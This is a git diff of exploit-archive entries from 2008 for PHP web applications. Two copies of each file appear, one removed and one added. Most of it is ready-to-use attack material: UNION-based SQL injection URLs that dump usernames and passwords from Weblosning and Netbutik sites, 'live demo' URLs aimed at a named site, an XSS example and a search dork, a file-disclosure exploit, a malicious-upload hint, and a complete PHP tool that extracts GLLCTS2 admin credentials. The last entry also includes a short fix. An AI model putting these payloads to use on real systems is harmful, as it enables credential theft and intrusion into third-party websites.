-version (2)   http://www.simpelside.dk/web2/index2.php?id=2&mainid=-1+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3+from+web2_brugere/*
-
-version (3)    http://www.simpelside.dk/web3/index2.php?id=-3+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3,4,5,6+from+web3_brugere/*
-
-version (4)  http://www.simpelside.dk/web4/index2.php?id=-1+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3,4,5,6+from+web4_brugere/*
-
-#########################################################################################
-      
-====>> xss ::::::
-                      http://www.target.dk/web1/result.php?search= (xss)
-====>>
-        EX ::::  http://www.simpelside.dk/web1/result.php?search= Viva%20Islam%20
-
- 
-#########################################################################################
-
-<< Gr33Tz>>  (( HaCkEr-EGy )) :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH ::  (( MuslimS HaCkErS ))
-
-#########################################################################################
-                       -(:::: Geek Inj3cT0r ::::)-
-
-# milw0rm.com [2008-05-21]
+################ Viva IsLaM ################
+#   (sql / xss ) Multiple Vulnerabilities
+#     
+#   weblosning   V1, V2,V3,V4 (( index2.php id ))                              
+############################################
+## Script Name : Weblosning (( V1, V2,V3,V4 ))
+##
+## Demo :   http://www.simpelside.dk/
+############################################
+##
+## AuTh0r: Mr.SQL
+## H0ME  : WwW.PaL-HaCkEr.CoM
+## Email : SQL@Hotmail.it
+## 
+############################################
+##      (( V1 ::V2 :: V3 :: V4 ))
+##
+## D0rk :  allinurl: "index2.php" mainid
+##
+====>>>   SQL ::::::::
+
+       V1  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web1_brugere/*
+         
+       V2  =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web2_brugere/*
+         
+       V3 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web3_brugere/*
+          
+       V4 =====>>  http://www.target.dk/  index2.php?id=31&mainid=-1+union+select+1,2,3,concat_ws(0x3a3a,brugernavn,adgangskode),5,6+from+web4_brugere/*
+
+
+## Note ## plz use all exploits to have good results , the sites have difrrent versions , so you must test all tables name on targets the ,table name like this [  web1_brugere , web2_brugere , web3_brugere , web4_brugere ]  to know script version 
+ 
+
+## Video How to use tables  :)       http://www.4shared.com/file/48485309/1fa3df0/weblosning.html
+
+
+##  :: liVe DeM0 ::
+
+
+version (1)  http://www.simpelside.dk/web1/index2.php?id=-4+union+select+1,2,concat_ws(0x3a3a,brugernavn,adgangskode),4,5,6+from+web1_brugere/*
+
+version (2)   http://www.simpelside.dk/web2/index2.php?id=2&mainid=-1+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3+from+web2_brugere/*
+
+version (3)    http://www.simpelside.dk/web3/index2.php?id=-3+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3,4,5,6+from+web3_brugere/*
+
+version (4)  http://www.simpelside.dk/web4/index2.php?id=-1+union+select+1,concat_ws(0x3a3a,brugernavn,adgangskode),3,4,5,6+from+web4_brugere/*
+
+#########################################################################################
+      
+====>> xss ::::::
+                      http://www.target.dk/web1/result.php?search= (xss)
+====>>
+        EX ::::  http://www.simpelside.dk/web1/result.php?search= Viva%20Islam%20
+
+ 
+#########################################################################################
+
+<< Gr33Tz>>  (( HaCkEr-EGy )) :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH ::  (( MuslimS HaCkErS ))
+
+#########################################################################################
+                       -(:::: Geek Inj3cT0r ::::)-
+
+# milw0rm.com [2008-05-21]
diff --git a/platforms/php/webapps/5665.txt b/platforms/php/webapps/5665.txt
index 011f6d5ab..ec4119735 100755
--- a/platforms/php/webapps/5665.txt
+++ b/platforms/php/webapps/5665.txt
@@ -1,83 +1,83 @@
-#############   Viva Islam   ####################
-# rEm0te SQL Injection Vulnerability 
-#                                       
-# netbutik ( V1 ) (( index.php id ))
-#                                       
-#########################################
-
-## Script Name : Netbutik 
-
-## Download : www.simpelside.dk
-
-## Version : version [ 1 , 2 , 3 ,4 ]
-
-#########################################
-
-## AuTh0r : Mr.SQL
-
-## H0ME  : WwW.PaL-HaCkEr.CoM
-
-## Email  :  SQL@Hotmail.it
-
-###################################################################################
-
-## Note ## This script have (4) version on demo and users table have diffrents names you can see that in exploits
-For using exploit on sites which using software plz use your mind to have good results.
-  
-
-##  (()) -(:: SQL ::)- (())
-
-version number [1]
-                  1  =====>> http://www.target.dk/netbutik1/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik1_brugere/*
-                  2  =====>> http://www.target.dk/netbutik1/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik1_brugere/*
-
-
-version number [2]
-                  1 ======>>http://www.target.dk/netbutik2/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik2_brugere/*
-                  2 ======>>http://www.target.dk/netbutik2/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik2_brugere/*	
-		
-  
-version number [3]
-                  1 ======>>http://www.target.dk/netbutik3/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik3_brugere/*
-                  2 ======>>http://www.target.dk/netbutik3/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik3_brugere/*
-
-
-version number [4]
-                  1 ======>>http://www.target.dk/netbutik4/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik4_brugere/*
-                  2 ======>>http://www.target.dk/netbutik4/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik4_brugere/*			
-	
-			  
-(#####) must be using all test all exploits for know any version runing on target site 				  
-
-
-##  .::. liVe DeMO .::.
-
-
-##  http://www.simpelside.dk/netbutik1/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik1_brugere/*
-
-##  http://www.simpelside.dk/netbutik2/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik2_brugere/*
-
-##  http://www.simpelside.dk/netbutik3/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik3_brugere/*
-
-##  http://www.simpelside.dk/netbutik4/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik4_brugere/*
-
-
-###################################################################################
-
-
-  #######################################
-## Note:: YOU can upload your Ev!l code  ADMIN CP  (( .php.jpg ))
-## Fr0m /admin/admin_edit_products.php                                              
-  #######################################
-
-
-###################################################################################
-###################################################################################
-
-<< Gr33Tz>>  (( HaCkEr-EGy )) :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: (( MuslimS HaCkErS ))
-
-###################################################################################
-###################################################################################
-                                                                            -(:::: Geek Inj3cT0r ::::)-
-
-# milw0rm.com [2008-05-21]
+#############   Viva Islam   ####################
+# rEm0te SQL Injection Vulnerability 
+#                                       
+# netbutik ( V1 ) (( index.php id ))
+#                                       
+#########################################
+
+## Script Name : Netbutik 
+
+## Download : www.simpelside.dk
+
+## Version : version [ 1 , 2 , 3 ,4 ]
+
+#########################################
+
+## AuTh0r : Mr.SQL
+
+## H0ME  : WwW.PaL-HaCkEr.CoM
+
+## Email  :  SQL@Hotmail.it
+
+###################################################################################
+
+## Note ## This script have (4) version on demo and users table have diffrents names you can see that in exploits
+For using exploit on sites which using software plz use your mind to have good results.
+  
+
+##  (()) -(:: SQL ::)- (())
+
+version number [1]
+                  1  =====>> http://www.target.dk/netbutik1/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik1_brugere/*
+                  2  =====>> http://www.target.dk/netbutik1/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik1_brugere/*
+
+
+version number [2]
+                  1 ======>>http://www.target.dk/netbutik2/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik2_brugere/*
+                  2 ======>>http://www.target.dk/netbutik2/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik2_brugere/*	
+		
+  
+version number [3]
+                  1 ======>>http://www.target.dk/netbutik3/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik3_brugere/*
+                  2 ======>>http://www.target.dk/netbutik3/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik3_brugere/*
+
+
+version number [4]
+                  1 ======>>http://www.target.dk/netbutik4/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik4_brugere/*
+                  2 ======>>http://www.target.dk/netbutik4/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik4_brugere/*			
+	
+			  
+(#####) must be using all test all exploits for know any version runing on target site 				  
+
+
+##  .::. liVe DeMO .::.
+
+
+##  http://www.simpelside.dk/netbutik1/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik1_brugere/*
+
+##  http://www.simpelside.dk/netbutik2/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik2_brugere/*
+
+##  http://www.simpelside.dk/netbutik3/product.php?id=-1+union+select+1,2,brugernavn,adgangskode,5,6,7,8,9+from+netbutik3_brugere/*
+
+##  http://www.simpelside.dk/netbutik4/netbutik.php?cat=-1+union+select+concat_ws(0x3a3a,brugernavn,adgangskode)+from+netbutik4_brugere/*
+
+
+###################################################################################
+
+
+  #######################################
+## Note:: YOU can upload your Ev!l code  ADMIN CP  (( .php.jpg ))
+## Fr0m /admin/admin_edit_products.php                                              
+  #######################################
+
+
+###################################################################################
+###################################################################################
+
+<< Gr33Tz>>  (( HaCkEr-EGy )) :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: HeBarieH :: (( MuslimS HaCkErS ))
+
+###################################################################################
+###################################################################################
+                                                                            -(:::: Geek Inj3cT0r ::::)-
+
+# milw0rm.com [2008-05-21]
diff --git a/platforms/php/webapps/5711.txt b/platforms/php/webapps/5711.txt
index af826ea58..fafc9f924 100755
--- a/platforms/php/webapps/5711.txt
+++ b/platforms/php/webapps/5711.txt
@@ -1,34 +1,34 @@
-############################################################################################
-# 
-# Application Name         : Social Site Generator
-#
-# Download                 : http://rapidshare.com/files/118424866/Social.Site.Generator.v2._iAG_.Nulled.rar
-#
-# Vulnerable Type          : Remote File disclouse
-#
-# Dork                     : search it :p
-#
-# Vulnerable file          : filedload.php
-#
-# author                   : Stack & Jadi
-#
-# Team                     : v4 Team http://v4-team.com
-#
-# THNX                     : ALLAH
-#Greetz : Houssamix & Djekmani & Jadi & iuoisn &Room-Hackers All muslims HaCkeRs  :)
-#                               www.v4-team.com     &    www.Real-Hack.com   &    www.Tryag.com
-#
-#
-############################################################################################
-< ------------------- Stack ------------------- >|
-\        /                                                          |
-  \    /          Wanted                           |
-    \/__________________________________|
-
-< -- Bug -- >
-Exploit :
-http://target/path/filedload.php?file=filedload.php
-http://target/path/webadmin/download.php?file=download.php
-http://target/path/webadmin/download_file.php
-
-# milw0rm.com [2008-06-01]
+############################################################################################
+# 
+# Application Name         : Social Site Generator
+#
+# Download                 : http://rapidshare.com/files/118424866/Social.Site.Generator.v2._iAG_.Nulled.rar
+#
+# Vulnerable Type          : Remote File disclouse
+#
+# Dork                     : search it :p
+#
+# Vulnerable file          : filedload.php
+#
+# author                   : Stack & Jadi
+#
+# Team                     : v4 Team http://v4-team.com
+#
+# THNX                     : ALLAH
+#Greetz : Houssamix & Djekmani & Jadi & iuoisn &Room-Hackers All muslims HaCkeRs  :)
+#                               www.v4-team.com     &    www.Real-Hack.com   &    www.Tryag.com
+#
+#
+############################################################################################
+< ------------------- Stack ------------------- >|
+\        /                                                          |
+  \    /          Wanted                           |
+    \/__________________________________|
+
+< -- Bug -- >
+Exploit :
+http://target/path/filedload.php?file=filedload.php
+http://target/path/webadmin/download.php?file=download.php
+http://target/path/webadmin/download_file.php
+
+# milw0rm.com [2008-06-01]
diff --git a/platforms/php/webapps/5796.php b/platforms/php/webapps/5796.php
index 9a3e255d5..51294d5c6 100755
--- a/platforms/php/webapps/5796.php
+++ b/platforms/php/webapps/5796.php
@@ -1,160 +1,160 @@
-<?php
-/*
-08000000088@M@@@M@2ZZZ8@aZX;ii,,:,iir777777777777777777777777r;i:,     i   ,@X:i:0a7 BMMM88000000000
-08888888882aMMMMM,SZZ0WZ                         ........          7a2MMMMM      :   MMM@aZ888888888
-08888888888WMMMMM78aSXi XBMMMMMMMMMMMMMM2: MB.X:.             ,SMMMMMMMMMMMM.    r:  MMM0a8888888888
-0888888888ZZMMMMS  :          .:i;X28MMMMMMMM,22Z2XSaSir7ii2MMMMMMM@Z222Z0BMMM    iZMMMM8Z8888888888
-088888888882BMMM :MSMMMMMMMMMM@@WB80MMMMMMMM  ,;r7XXXSSX.SMMM, .:ZMMMMMMBX.         MMMM8a8888888888
-08888888888a2MMM8MMW   MM              ,,ZMMMM          i@B:WMMMMMMB8Z8MMMMMMMMMMX  ZMMWaZ8888888888
-088888888ZZaS@MZiiMMMMMB:a@MMMMMMMMMMMM@ZX:aMMMMMM:MMMM0MMMM         iXa8ri ;MMMMMMMMMMBS88888888888
-0888888Za8MMMMM ,ZMMMMM,SaaZM2 ;M.Mr  XM;SWW MMMMMMMMMMMMB,7ZMMMZMaMMZ. ;BBM  MMZXSMMMMBS2a888888888
-088888ZZMMM0XMMXMMMSMMa;aaaBa  M8M@ M   MBi2 MMMMMMMMMMMM.2ZZ8M  MMM7 S  @M@  .MMMMM XMMMMMZZ8888888
-088888a@M     MMM   @MSraa8MX   ;7Z@       X MMMM    BMMMiaMMMM.  SXaX  .2ZM   MMMM MMM   MM8Z888888
-088888aMa Ma   MW    M@i0MMM 7Sr.   :r7i.    MMM  ,:  MMM;8           .i,,.iri MMM  MM rMB MMa888888
-08888Z2MSMMMMM BZ    MMrW                rr ;MM  ,::, @MMaM          :XX7,     MM   MM ;XMM Ma888888
-08888Z2MXW M  MMX     MMB       T    :XZa.  MM  :.::: :MM         D           2MM   Z7 ;. M,Ma888888
-088888aMi  M MMMMrB    MM            .i.   MM. iW.::: :@MX                    MM   XM, ., MMWa888888
-088888aM@  M MMMMiZ2    MM.               MM  :Za ::: r MM:                  MM    MMMM  aMM8Z888888
-088888ZBM  M  MM SXB     MMM2          ZMMM  X2a;.:::.,X MMM                MM    aMMMM  MMMaZ888888
-0888888ZMM  M  M B7a8     r2MMMMMMMMMMMMM7  aSXZ ,:::: i; ,MMMX         .@MMM7:    MMMM 0MMZa8888888
-0888888Z8M;  M M W7XZZ     :;77X2Z8aX,    iaX77a ::::::  Mr  aMMMMMMMMMMMMMi ,0;  MMMM .MMZa88888888
-08888888a@M  ZM  @X7X8r                   WX77Xa ::::,,,  Mi      SaS7i..,rrXXW  :MM @@MMWaZ88888888
-088888888aMMMB   ZS77X07                 .2   ,S ,::..:   MZS               220  ZaS  BMM2Z888888888
-0888888888aZMM   ia777X0       R          MMMMX      ; S. MM,      T       020  SX,;Mr M028888888888
-08888888888aaMB   i7777SW                  MMMMMM;:r,MMMMMMM              0aa8  W M    MBZ8888888888
-088888888888a0MMMM ;rrrr2Z                  M   SM2SWM7  X;              ;ZXZ  .2 MMMMMMZZ8888888888
-0800000000008ZaSaMi7XXXXSBr.,,,,,,,,,,,:rXS:  ,.  .:        :S:,,,,,,,,..B2SZ  2SrMMMBa2Z80000000000
-\                                                                                                  /
-|                                            TheDefaced.org                                        |
-|__________________________________________________________________________________________________|
-|                                                                                                  |
-|                                              Presents...                                         |
-|                                     Exploit - Vulnerability & Fix                                |
-|                                     SQL Injection in gllcts2 >= 4.2.4                            |
-| ------------------------------------------------------------------------------------------------ |
-|                                             Description                                          |
-| ------------------------------------------------------------------------------------------------ |
-| The following script is used for displaying teamspeak information by users and allowing others   |
-| to login to these servers and etc.                                                               |
-|                                                                                                  |
-| It's most commonly used by teamspeak hosting companys which makes it kinda bad that this exists. |
-|                                                                                                  |
-| ------------------------------------------------------------------------------------------------ |
-|                                             Vulnerability                                        |
-| ------------------------------------------------------------------------------------------------ |
-| Although the following script has multiple sql injections there is only one which we really...   |
-| Found to be useful enough to include inside of the exploit code.                                 |
-|                                                                                                  |
-| So that is the only one that we will go into detail with below...                                |
-|                                                                                                  |
-| If we go to login.php and view the line 20                                                       |                                                                                                 |
-| We see the following code...                                                                     |
-|                                                                                                  |
-| <?php                                                                                            |
-|    $r = query("SELECT * FROM $dbtable1 WHERE server_id='$_GET[detail]'");                        |
-| ?>                                                                                               |
-|                                                                                                  |
-| If you understand php you can see from this that the code is not properly sanatized before being.|
-| Put into the query and executed... The way it is currently would allow a remote attacker to...   |
-| Add on SQL in order to preform a sql injection.                                                  |
-|                                                                                                  |
-| ------------------------------------------------------------------------------------------------ |
-|                                                 FIX                                              |
-| ------------------------------------------------------------------------------------------------ |
-| Take the code at login.php line 20 and make it the following...                                  |
-|                                                                                                  |
-| <?php                                                                                            |
-| 	$userinput = mysql_real_escape_string($_GET[detail]);                                      |
-| 	$r = query("SELECT * FROM $dbtable1 WHERE server_id='$userinput");                         |
-| ?>                                                                                               |
-| ------------------------------------------------------------------------------------------------ |
-|                                                CREDITS                                           |
-| ------------------------------------------------------------------------------------------------ |
-|   The vulnerability was discovered remotely by DeadlyData and Kap of TheDefaced Security Team    |
-|   It was then looked at via source code and the script was fully audited to find it was more...  |
-|   Vulnerable then we had thought in total there are about 5 un sanatized user based inputs.      |
-|                                                                                                  |
-|   Which may lead to more vulnerabilties such as other SQL injections or XSS flaws.               |
-| ------------------------------------------------------------------------------------------------ |
-|                                              EXPLOIT CODE...                                     |
-| ------------------------------------------------------------------------------------------------ |
-|                  !NOTE!: Requires Magic Quotes GPC is set to off in your php.ini settings.       |
-|                                                                                                  |
-\__________________________________________________________________________________________________/
-*/
-set_time_limit(0);
-ignore_user_abort(0);
-
-function add_html_space($count){
-
-$out2 = str_repeat("&nbsp;",$count);
-
-return $out2;
-}
-
-function write_content($title,$desc,$content){
-	
-$out = "<div class='content'><div class='item'><h1>$title</h1><div class='descr'>$desc</div><br><p>$content</p></div>";
-
-return $out;
-}
-
-$title = "GLLCTS2 => v4.2.4". add_html_space(1) ." SQL Injection Exploit";
-$header['banner'] = "TD's ESystem";
-$header['main'] = "TD's Exploit System";
-
-$menu['title'] = "Exploit System";
-
-$menu['title1'] = "Esystem Home";
-$menu['link1'] = "?";
-
-
-
-$menu = "<div class=\"sidenav\"><h1>".$menu['title']."</h1><ul><li><a href='".$menu['link1']."'>".$menu['title1']."</a></li></ul><h1>Links To TD</h1><ul><li><a href=\"http://www.thedefaced.org\">Go To TheDefaced</a></li><li><a href=\"http://www.thedefaced.org/forums/\">Go To TheDefaced Forums</a></li></ul></div>";
-$copyright = "</div><div class=\"clearer\"><span></span></div></div><br><div class=\"footer\">&copy; 2004 - 2008 <a href=\"?\">The&nbsp;Defaced Security Team.</a><br>&copy; 2008 $title By TheDefaced.org</div></span></div></div></body></html>";
-$style = "<html><head><link rel=\"stylesheet\" type=\"text/css\" href=\"http://thedefaced.org/default_orig.css\" media=\"screen\"/><title>$title</title></head><body><div id=\"thedefaced\"><div class=\"container\"><span><div class=\"main\"><div class=\"header\"><div class=\"title\"><font size=\"0.1\"><a href=\"http://www.thedefaced.org\">$header[banner]</a></font></div></td></td></TABLE></td></tr></table></form></div><div class=\"footer\"><b>$header[main]</a></b></div>$menu";
-
-echo $style;
-
-switch($_GET['page']){
-
-default:
-
-If($_POST['inj'] == 'run'){
-	
-echo"<div class='content'>";
-echo"<div class='item'><h1>TD's Exploit System</h1>";
-echo"<div class='descr'>Grabing Admin ID and Password via GLLC SQL injection.</div>";
-echo"<br><p>";
-
-$url = $_POST['url'];
-$prefix = $_POST['prefix'];
-
-$buf = file_get_contents($url."/login.php?detail='%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11,concat(CHAR(124),CHAR(65,%2068,%2077,%2073,%2078,%2073,%2068,%2058),admin_id,CHAR(124),CHAR(80,%2065,%2083,%2083,%2058),admin_pass,CHAR(124)),13,14,15,16,17,18,19,20,21,22,23%20from%20".$prefix."_admin/*");
-$arr = explode("|",$buf);
-foreach($arr as $line){
-if(eregi("ADMINID:", $line))
-If($line !=$adminid){
-$adminid = $line;
-echo $adminid."<br>";
-}
-if(eregi("PASS:",$line))
-If($pass == ""){
-$pass = $line;
-$pass_parsed = str_replace("PASS:","",$pass);
-echo $pass."<br><br>";
-echo "<a href='$url/admin/index.php?pass=$pass_parsed'>Login</a>";
-}
-}
-
-echo"</font></b></p></div>";
-echo $copyright;	
-}else{
-echo write_content("Welcome to TD's Exploit System","SQL injection exploit in GLLCTS2","<form method='post' action='?'><center><input type='hidden' name='inj' value='run'>GLLCTS2 URL(No Trailing \"/\" & Include \"http://\"):<br><input type='text' size='25' name='url'><br><br>Table Prefix:<br>". add_html_space(1) ."<input type='text' size='20' name='prefix' value='gllcts2'><br><br><input type='submit' value='Get Admin Info'></form>");
-echo $copyright;
-}
-break;
-}
-?>
-
-# milw0rm.com [2008-06-12]
+<?php
+/*
+08000000088@M@@@M@2ZZZ8@aZX;ii,,:,iir777777777777777777777777r;i:,     i   ,@X:i:0a7 BMMM88000000000
+08888888882aMMMMM,SZZ0WZ                         ........          7a2MMMMM      :   MMM@aZ888888888
+08888888888WMMMMM78aSXi XBMMMMMMMMMMMMMM2: MB.X:.             ,SMMMMMMMMMMMM.    r:  MMM0a8888888888
+0888888888ZZMMMMS  :          .:i;X28MMMMMMMM,22Z2XSaSir7ii2MMMMMMM@Z222Z0BMMM    iZMMMM8Z8888888888
+088888888882BMMM :MSMMMMMMMMMM@@WB80MMMMMMMM  ,;r7XXXSSX.SMMM, .:ZMMMMMMBX.         MMMM8a8888888888
+08888888888a2MMM8MMW   MM              ,,ZMMMM          i@B:WMMMMMMB8Z8MMMMMMMMMMX  ZMMWaZ8888888888
+088888888ZZaS@MZiiMMMMMB:a@MMMMMMMMMMMM@ZX:aMMMMMM:MMMM0MMMM         iXa8ri ;MMMMMMMMMMBS88888888888
+0888888Za8MMMMM ,ZMMMMM,SaaZM2 ;M.Mr  XM;SWW MMMMMMMMMMMMB,7ZMMMZMaMMZ. ;BBM  MMZXSMMMMBS2a888888888
+088888ZZMMM0XMMXMMMSMMa;aaaBa  M8M@ M   MBi2 MMMMMMMMMMMM.2ZZ8M  MMM7 S  @M@  .MMMMM XMMMMMZZ8888888
+088888a@M     MMM   @MSraa8MX   ;7Z@       X MMMM    BMMMiaMMMM.  SXaX  .2ZM   MMMM MMM   MM8Z888888
+088888aMa Ma   MW    M@i0MMM 7Sr.   :r7i.    MMM  ,:  MMM;8           .i,,.iri MMM  MM rMB MMa888888
+08888Z2MSMMMMM BZ    MMrW                rr ;MM  ,::, @MMaM          :XX7,     MM   MM ;XMM Ma888888
+08888Z2MXW M  MMX     MMB       T    :XZa.  MM  :.::: :MM         D           2MM   Z7 ;. M,Ma888888
+088888aMi  M MMMMrB    MM            .i.   MM. iW.::: :@MX                    MM   XM, ., MMWa888888
+088888aM@  M MMMMiZ2    MM.               MM  :Za ::: r MM:                  MM    MMMM  aMM8Z888888
+088888ZBM  M  MM SXB     MMM2          ZMMM  X2a;.:::.,X MMM                MM    aMMMM  MMMaZ888888
+0888888ZMM  M  M B7a8     r2MMMMMMMMMMMMM7  aSXZ ,:::: i; ,MMMX         .@MMM7:    MMMM 0MMZa8888888
+0888888Z8M;  M M W7XZZ     :;77X2Z8aX,    iaX77a ::::::  Mr  aMMMMMMMMMMMMMi ,0;  MMMM .MMZa88888888
+08888888a@M  ZM  @X7X8r                   WX77Xa ::::,,,  Mi      SaS7i..,rrXXW  :MM @@MMWaZ88888888
+088888888aMMMB   ZS77X07                 .2   ,S ,::..:   MZS               220  ZaS  BMM2Z888888888
+0888888888aZMM   ia777X0       R          MMMMX      ; S. MM,      T       020  SX,;Mr M028888888888
+08888888888aaMB   i7777SW                  MMMMMM;:r,MMMMMMM              0aa8  W M    MBZ8888888888
+088888888888a0MMMM ;rrrr2Z                  M   SM2SWM7  X;              ;ZXZ  .2 MMMMMMZZ8888888888
+0800000000008ZaSaMi7XXXXSBr.,,,,,,,,,,,:rXS:  ,.  .:        :S:,,,,,,,,..B2SZ  2SrMMMBa2Z80000000000
+\                                                                                                  /
+|                                            TheDefaced.org                                        |
+|__________________________________________________________________________________________________|
+|                                                                                                  |
+|                                              Presents...                                         |
+|                                     Exploit - Vulnerability & Fix                                |
+|                                     SQL Injection in gllcts2 >= 4.2.4                            |
+| ------------------------------------------------------------------------------------------------ |
+|                                             Description                                          |
+| ------------------------------------------------------------------------------------------------ |
+| The following script is used for displaying teamspeak information by users and allowing others   |
+| to login to these servers and etc.                                                               |
+|                                                                                                  |
+| It's most commonly used by teamspeak hosting companys which makes it kinda bad that this exists. |
+|                                                                                                  |
+| ------------------------------------------------------------------------------------------------ |
+|                                             Vulnerability                                        |
+| ------------------------------------------------------------------------------------------------ |
+| Although the following script has multiple sql injections there is only one which we really...   |
+| Found to be useful enough to include inside of the exploit code.                                 |
+|                                                                                                  |
+| So that is the only one that we will go into detail with below...                                |
+|                                                                                                  |
+| If we go to login.php and view the line 20                                                       |                                                                                                 |
+| We see the following code...                                                                     |
+|                                                                                                  |
+| <?php                                                                                            |
+|    $r = query("SELECT * FROM $dbtable1 WHERE server_id='$_GET[detail]'");                        |
+| ?>                                                                                               |
+|                                                                                                  |
+| If you understand php you can see from this that the code is not properly sanatized before being.|
+| Put into the query and executed... The way it is currently would allow a remote attacker to...   |
+| Add on SQL in order to preform a sql injection.                                                  |
+|                                                                                                  |
+| ------------------------------------------------------------------------------------------------ |
+|                                                 FIX                                              |
+| ------------------------------------------------------------------------------------------------ |
+| Take the code at login.php line 20 and make it the following...                                  |
+|                                                                                                  |
+| <?php                                                                                            |
+| 	$userinput = mysql_real_escape_string($_GET[detail]);                                      |
+| 	$r = query("SELECT * FROM $dbtable1 WHERE server_id='$userinput");                         |
+| ?>                                                                                               |
+| ------------------------------------------------------------------------------------------------ |
+|                                                CREDITS                                           |
+| ------------------------------------------------------------------------------------------------ |
+|   The vulnerability was discovered remotely by DeadlyData and Kap of TheDefaced Security Team    |
+|   It was then looked at via source code and the script was fully audited to find it was more...  |
+|   Vulnerable then we had thought in total there are about 5 un sanatized user based inputs.      |
+|                                                                                                  |
+|   Which may lead to more vulnerabilties such as other SQL injections or XSS flaws.               |
+| ------------------------------------------------------------------------------------------------ |
+|                                              EXPLOIT CODE...                                     |
+| ------------------------------------------------------------------------------------------------ |
+|                  !NOTE!: Requires Magic Quotes GPC is set to off in your php.ini settings.       |
+|                                                                                                  |
+\__________________________________________________________________________________________________/
+*/
+set_time_limit(0);
+ignore_user_abort(0);
+
+function add_html_space($count){
+
+$out2 = str_repeat("&nbsp;",$count);
+
+return $out2;
+}
+
+function write_content($title,$desc,$content){
+	
+$out = "<div class='content'><div class='item'><h1>$title</h1><div class='descr'>$desc</div><br><p>$content</p></div>";
+
+return $out;
+}
+
+$title = "GLLCTS2 => v4.2.4". add_html_space(1) ." SQL Injection Exploit";
+$header['banner'] = "TD's ESystem";
+$header['main'] = "TD's Exploit System";
+
+$menu['title'] = "Exploit System";
+
+$menu['title1'] = "Esystem Home";
+$menu['link1'] = "?";
+
+
+
+$menu = "<div class=\"sidenav\"><h1>".$menu['title']."</h1><ul><li><a href='".$menu['link1']."'>".$menu['title1']."</a></li></ul><h1>Links To TD</h1><ul><li><a href=\"http://www.thedefaced.org\">Go To TheDefaced</a></li><li><a href=\"http://www.thedefaced.org/forums/\">Go To TheDefaced Forums</a></li></ul></div>";
+$copyright = "</div><div class=\"clearer\"><span></span></div></div><br><div class=\"footer\">&copy; 2004 - 2008 <a href=\"?\">The&nbsp;Defaced Security Team.</a><br>&copy; 2008 $title By TheDefaced.org</div></span></div></div></body></html>";
+$style = "<html><head><link rel=\"stylesheet\" type=\"text/css\" href=\"http://thedefaced.org/default_orig.css\" media=\"screen\"/><title>$title</title></head><body><div id=\"thedefaced\"><div class=\"container\"><span><div class=\"main\"><div class=\"header\"><div class=\"title\"><font size=\"0.1\"><a href=\"http://www.thedefaced.org\">$header[banner]</a></font></div></td></td></TABLE></td></tr></table></form></div><div class=\"footer\"><b>$header[main]</a></b></div>$menu";
+
+echo $style;
+
+switch($_GET['page']){
+
+default:
+
+If($_POST['inj'] == 'run'){
+	
+echo"<div class='content'>";
+echo"<div class='item'><h1>TD's Exploit System</h1>";
+echo"<div class='descr'>Grabing Admin ID and Password via GLLC SQL injection.</div>";
+echo"<br><p>";
+
+$url = $_POST['url'];
+$prefix = $_POST['prefix'];
+
+$buf = file_get_contents($url."/login.php?detail='%20union%20select%20all%201,2,3,4,5,6,7,8,9,10,11,concat(CHAR(124),CHAR(65,%2068,%2077,%2073,%2078,%2073,%2068,%2058),admin_id,CHAR(124),CHAR(80,%2065,%2083,%2083,%2058),admin_pass,CHAR(124)),13,14,15,16,17,18,19,20,21,22,23%20from%20".$prefix."_admin/*");
+$arr = explode("|",$buf);
+foreach($arr as $line){
+if(eregi("ADMINID:", $line))
+If($line !=$adminid){
+$adminid = $line;
+echo $adminid."<br>";
+}
+if(eregi("PASS:",$line))
+If($pass == ""){
+$pass = $line;
+$pass_parsed = str_replace("PASS:","",$pass);
